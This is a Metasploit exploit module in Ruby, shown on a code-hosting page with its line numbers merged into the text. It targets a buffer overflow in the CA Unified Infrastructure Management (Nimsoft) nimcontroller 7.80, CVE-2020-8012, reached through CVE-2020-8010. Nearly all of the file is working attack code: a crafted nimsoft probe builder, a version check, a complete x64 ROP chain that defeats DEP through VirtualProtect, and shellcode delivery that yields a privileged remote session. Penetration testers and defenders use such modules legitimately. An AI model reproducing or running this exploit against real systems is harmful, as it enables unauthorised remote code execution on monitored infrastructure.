Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/nimsoft/nimcontroller_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.18The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list19probe.2021Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the22directory_list probe.23},24'License' => MSF_LICENSE,25'Author' => [26'wetw0rk' # Vulnerability Discovery and Metasploit module27],28'References' => [29[ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors)30[ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE31[ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ],32[ 'PACKETSTORM', '156577' ]33],34'DefaultOptions' => {35'EXITFUNC' => 'process',36'AUTORUNSCRIPT' => 'post/windows/manage/migrate'37},38'Payload' => {39'Space' => 2000,40'DisableNops' => true41},42'Platform' => 'win',43'Arch' => ARCH_X64,44'Targets' => [45[46'Windows Universal (x64) - v7.80.3132',47{48'Platform' => 'win',49'Arch' => [ARCH_X64],50'Version' => '7.80 [Build 7.80.3132, Jun 1 2015]',51'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe]52}53],54],55'Privileged' => true,56'Notes' => {57'Stability' => [ CRASH_SAFE ],58'Reliability' => [ REPEATABLE_SESSION ],59'SideEffects' => [ ]60},61'DisclosureDate' => '2020-02-05',62'DefaultTarget' => 063)64)6566register_options(67[68OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']),69Opt::RPORT(48000),70]71)72end7374# check: there are only two prerequisites to getting code execution. The version number75# and access to the directory_list probe. The easiest way to get this information is to76# ask nicely ;)77def check78connect7980sock.put(generate_probe('get_info', ['interfaces=0']))81response = sock.get_once(4096)8283unless response84return CheckCode::Unknown('No response was returned from the target.')85end8687list_check = -18889begin90if target['Version'].in? response91print_status("Version #{target['Version']} detected, sending directory_list probe")92sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))93list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY'])94end95ensure96disconnect97end9899if list_check == 0100return CheckCode::Appears101else102return CheckCode::Safe103end104end105106def exploit107connect108109shellcode = make_nops(500)110shellcode << payload.encoded111112offset = rand_text_alphanumeric(1000)113offset += "\x0f" * 33114115heap_flip = [target.ret].pack('Q<*')116117alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain118rop_chain = generate_rsp_chain # Stage1: Stack alignment119rop_chain += rand_text_alphanumeric(631) # Adjust for second stage120rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub121rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail122rop_chain.length123124))125rop_chain += "kernel32.dll\x00"126rop_chain += "VirtualProtect\x00"127128trigger = "\x10" * (8000 - (129offset.length +130heap_flip.length +131alignment.length +132rop_chain.length +133shellcode.length134)135)136137buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger138exploit_packet = generate_probe(139'directory_list',140["directory=#{buffer}"]141)142143sock.put(exploit_packet)144145disconnect146end147148# generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes149# otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.150def generate_rsp_chain151rop_gadgets = [0x0000000140018c42] * 20 # ret152rop_gadgets += [1530x0000000140002ef6, # pop rax ; ret1540x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )1550x00000001400af237, # pop rdi ; ret1560x0000000000000007, # alignment for rsp1570x0000000140025dab158] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret159160return rop_gadgets.pack('Q<*')161end162163# generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,164# and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.165# Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.166def generate_rop_chain167# RAX -> HMODULE GetModuleHandleA(168# ( RCX == *module ) LPCSTR lpModuleName,169# );170rop_gadgets = [0x0000000140018c42] * 15 # ret171rop_gadgets += [1720x0000000140002ef6, # pop rax ; ret1730x0000000000000000, # (zero out rax)1740x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret1750x0000000000000000, #1760x0000000000000000, #1770x0000000000000000, #1780x0000000000000000, #1790x0000000000000000, #1800x0000000000000000181]182rop_gadgets += [0x0000000140018c42] * 10 # ret183rop_gadgets += [1840x0000000140131643, # pop rcx ; ret1850x00000000000009dd, # offset to "kernel32.dll"1860x000000014006d8d8187] # add rax, rcx ; add rsp, 0x38 ; ret188189rop_gadgets += [0x0000000140018c42] * 15 # ret190191rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret192rop_gadgets += [1930x0000000140002ef6, # pop rax ; ret1940x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20)1950x00000001400d1161196] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret197rop_gadgets += [0x0000000140018c42] * 17 # ret198199# RAX -> FARPROC GetProcAddressStub(200# ( RCX == &addr ) HMODULE hModule,201# ( RDX == *module ) lpProcName202# );203rop_gadgets += [2040x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)2050x0000000140002ef6, # pop rax ; ret2060x0000000000000000, # (zero out rax)2070x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret2080x0000000000000000, #2090x0000000000000000, #2100x0000000000000000, #2110x0000000000000000, #2120x0000000000000000, #2130x0000000000000000214]215rop_gadgets += [0x0000000140018c42] * 10 # ret216rop_gadgets += [2170x0000000140131643, # pop rcx ; ret2180x0000000000000812, # offset to "virtualprotectstub"2190x000000014006d8d8220] # add rax, rcx ; add rsp, 0x38 ; ret221rop_gadgets += [0x0000000140018c42] * 15 # ret222rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40]223# mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret224225rop_gadgets += [0x0000000140018c42] * 10 # ret226rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret227rop_gadgets += [0x0000000140018c42] * 10 # ret228rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret229rop_gadgets += [2300x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret2310x0000000000000000, #2320x0000000000000000, #2330x0000000000000000234]235rop_gadgets += [0x0000000140018c42] * 6 # ret236rop_gadgets += [2370x0000000140002ef6, # pop rax ; ret2380x000000014015e318239] # GetProcAddressStub (0x00000000014015e338-20)240rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret241rop_gadgets += [0x0000000140018c42] * 17 # ret242243# RAX -> BOOL VirtualProtectStub(244# ( RCX == *shellcode ) LPVOID lpAddress,245# ( RDX == len(shellcode) ) SIZE_T dwSize,246# ( R8 == 0x0000000000000040 ) DWORD flNewProtect,247# ( R9 == *writeable location ) PDWORD lpflOldProtect,248# );249rop_gadgets += [2500x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)2510x000000014013d651, # pop r12 ; ret2520x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )2530x00000001400eba74254] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret255rop_gadgets += [0x0000000140018c42] * 10 # ret256rop_gadgets += [2570x0000000140002ef6, # pop rax ; ret2580x0000000000000000259]260rop_gadgets += [2610x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret2620x0000000000000000, #2630x0000000000000000, #2640x0000000000000000, #2650x0000000000000000, #2660x0000000000000000, #2670x0000000000000000268]269rop_gadgets += [0x0000000140018c42] * 10 # ret270rop_gadgets += [2710x0000000140131643, # pop rcx ; ret2720x000000000000059f, # (offset to *shellcode)2730x000000014006d8d8274] # add rax, rcx ; add rsp, 0x38 ; ret275rop_gadgets += [0x0000000140018c42] * 15 # ret276rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret277rop_gadgets += [2780x00000001400496a2, # pop rdx ; ret2790x00000000000005dc280] # dwSize281rop_gadgets += [2820x00000001400bc39c, # pop r8 ; ret2830x0000000000000040284] # flNewProtect285rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)286rop_gadgets += [0x0000000140018c42] * 17 # ret287rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h]288# mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret289290rop_gadgets += [0x0000000140018c42] * 20 # ret291292rop_gadgets += [2930x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)2940x0000000000000000, # (zero out rax)2950x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret2960x0000000000000000, #2970x0000000000000000, #2980x0000000000000000, #2990x0000000000000000, #3000x0000000000000000, #3010x0000000000000000302]303rop_gadgets += [0x0000000140018c42] * 10 # ret304rop_gadgets += [3050x0000000140131643, # pop rcx ; ret3060x0000000000000317, # (offset to our shellcode)3070x000000014006d8d8308] # add rax, rcx ; add rsp, 0x38 ; ret309rop_gadgets += [0x0000000140018c42] * 15 # ret310rop_gadgets += [0x00000001400a9747] # jmp rax311rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)312313return rop_gadgets.pack('Q<*')314end315316# parse_listing: once the directory_list probe is sent we're returned a directory listing317# unfortunately it's hard to read this simply "decodes" it318def parse_listing(response, directory)319result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }320i = 0321322begin323dirlist = response.split('\x00')[0].split("\x00")324index = dirlist.index('entry') + 3325final = dirlist[index..]326rescue StandardError327print_error('Failed to gather directory listing')328return -1329end330331print_line("\n Directory of #{directory}\n")332333check = 0334name = 0335ftime = 0336size = 0337ftype = 0338339while i < final.length340341if name == 1 && final[i].to_i <= 0342result['name'] = final[i]343name = 0344check += 1345end346if size >= 1347if size == 3348result['size'] = final[i]349size = 0350check += 1351else352size += 1353end354end355if ftype >= 1356if ftype == 3357result['type'] = final[i]358ftype = 0359check += 1360else361ftype += 1362end363end364if ftime >= 1365if ftime == 3366result['date'] = final[i]367ftime = 0368check += 1369else370ftime += 1371end372end373374if final[i].include? 'name'375name = 1376end377if final[i].include? 'size'378size = 1379end380if final[i].include? 'size'381ftype = 1382end383if final[i].include? 'last_modified'384ftime = 1385end386387i += 1388389next unless check == 4390391if result['type'] == '2'392result['type'] = ''393else394result['type'] = '<DIR>'395result['size'] = ''396end397398begin399time = Time.at(result['date'].to_i)400timestamp = time.strftime('%m/%d/%Y %I:%M %p')401rescue StandardError402timestamp = '??/??/???? ??:?? ??'403end404405print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))406407check = 0408end409print_line('')410return 0411end412413# generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially414# craft probes in order for the controller to accept any input.415def generate_probe(probe, args)416client = "#{rand_text_alphanumeric(14)}\x00"417packet_args = ''418probe += "\x00"419420for arg in args421422c = ''423i = 0424425while c != '='426427c = arg[i]428i += 1429430end431432packet_args << "#{arg[0, (i - 1)]}\x00"433packet_args << "1\x00#{arg[i..].length + 1}\x00"434packet_args << "#{arg[i..]}\x00"435436end437438packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)439packet_body = "mtype\x00" # mtype440packet_body << "7\x004\x00100\x00" # 7.4.100441packet_body << "cmd\x00" # cmd442packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe)443packet_body << probe # probe444packet_body << "seq\x00" # seq445packet_body << "1\x002\x000\x00" # 1.2.0446packet_body << "ts\x00" # ts447packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME)448packet_body << "frm\x00" # frm449packet_body << "7\x00#{client.length}\x00" # 7.(length of client)450packet_body << client # client address451packet_body << "tout\x00" # tout452packet_body << "1\x004\x00180\x00" # 1.4.180453packet_body << "addr\x00" # addr454packet_body << "7\x000\x00" # 7.0455#456# probe packet arguments (dynamic)457# argument458# length of arg value459# argument value460461packet_header << "#{packet_body.length} #{packet_args.length}\r\n"462probe = packet_header + packet_body + packet_args463464return probe465end466467end468469470